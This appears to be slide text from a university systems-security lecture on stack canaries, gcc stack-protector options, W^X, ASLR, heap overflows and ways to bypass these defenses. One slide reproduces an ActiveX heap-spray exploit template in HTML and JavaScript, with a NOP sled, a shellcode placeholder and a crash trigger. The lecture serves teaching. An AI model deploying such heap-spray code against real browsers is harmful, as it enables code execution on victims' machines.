CSC 591 Systems Attacks and Defenses Stack Canaries & ASLR
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1 CSC 591 Systems Attacks and Defenses Stack Canaries & ASLR Alexandros Kapravelos
2 How can we prevent a buffer overflow?
3 Check bounds Programmer Language Stack canaries [...more ] Buffer overflow defenses
4 StackGuard A compiler technique that attempts to eliminate buffer overflow vulnerabilities No source code changes Patch for the function prologue and epilogue Prologue push an additional value into the stack (canary) Epilogue pop the canary value from the stack and check that it hasn t changed
5 Regular stack......
6 canary: random 32-bit value StackGuard......
7 StackGuard... &shellcode??? shellcode...
8 Let s check what gcc does!
9 StackGuard assembly
10 StackGuard assembly
11 StackGuard assembly
12 StackGuard assembly
13 Canary Types Random Canary The original concept for canary values took a 32-bit pseudorandom value generated by the /dev/random or /dev/urandom devices on a Linux operating system. Random XOR Canary The random canary concept was extended in StackGuard version 2 to provide slightly more protection by performing a XOR operation on the random canary value with the stored control data. Null Canary Originally introduced by der Mouse on the BUGTRAQ security mailing list, the canary value is set to 0x which is chosen based upon the fact that most string functions terminate on a null value and should not be able to overwrite the return address if the buffer must contain nulls before it can reach the saved address. Terminator Canary The canary value is set to a combination of Null, CR, LF, and 0xFF. These values act as string terminators in most string functions, and accounts for functions which do not simply terminate on nulls such as gets().
14 Terminator Canary
15 We used -fstack-protector-all to add the protection in gcc
16 -fstack-protector-strong -fstack-protector is not enough Adds stack protection to functions that have alloca or have a (signed or unsigned) char array with size > 8 (SSP_BUFFER_SIZE) fstack-protector-all is an overkill Adds stack protection to ALL functions. -fstack-protector-strong was introduced by the Google Chrome OS team Any function that declares any type or length of local array, even those in structs or unions It will also protect functions that use a local variable's address in a function argument or on the right-hand side of an assignment In addition, any function that uses local register variables will be protected
17 source
18 How can we bypass stack canaries?
19 Frame Pointer Overwrite Attack... &fake frame inside our buffer... shellcode
20 Other pointers Global Offset Table (GOT) table of addresses which resides in the data section helps with relocations in memory Function pointers Non-overflow exploits with arbitrary writes
21 Shadow Stack "Transparent runtime shadow stack: Protection against malicious return address modifications"
22 NOEXEC (W^X)
23 NOEXEC (W^X) RW RX
24 Address Space Layout Randomization (ASLR) Randomly arranges the address space positions of key data areas of a process the base of the executable the stack the heap libraries Discovering the address of your shellcode becomes a difficult task
25 Summary of defenses Stack cookies/canaries Shadow stack W^X ASLR
26 What about Heap-based overflows?
27 Heap-based overflows
28 Overflow into another buffer
29 How does malloc/free work?
30 free() Arbitrary write!!!
31 Let s break ASLR in the heap!
32 Heap spraying
33 Heap spraying - normal heap
34 Heap sprayed
35 Heap spraying strategy 1. Spray the heap with 200MB of nopsled+shellcode 2. Overwrite a function pointer with 0x0c0c0c0c 3. Arrange for the pointer to be called
36 ActiveX Heap Spray <html> <head> <object id="oops" classid='clsid:3c88113f-8cec-48dc-a0e5-983ef '></object> </head> <body> <script> var Shellcode = unescape('actual_shellcode'); var NopSlide = unescape('%u9090%u9090'); var headersize = 20; var slack = headersize + Shellcode.length; while (NopSlide.length < slack) NopSlide += NopSlide; var filler = NopSlide.substring(0,slack); var chunk = NopSlide.substring(0,NopSlide.length - slack); while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler; var memory = new Array(); for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode } // Trigger crash => EIP = 0x pointer=''; for (counter=0; counter<=1000; counter++) pointer+=unescape("%06"); Oops.OpenFile(pointer); </script></body></html> source: Putting Needles in the Haystack (link)
37
38 Your Security Zen source:
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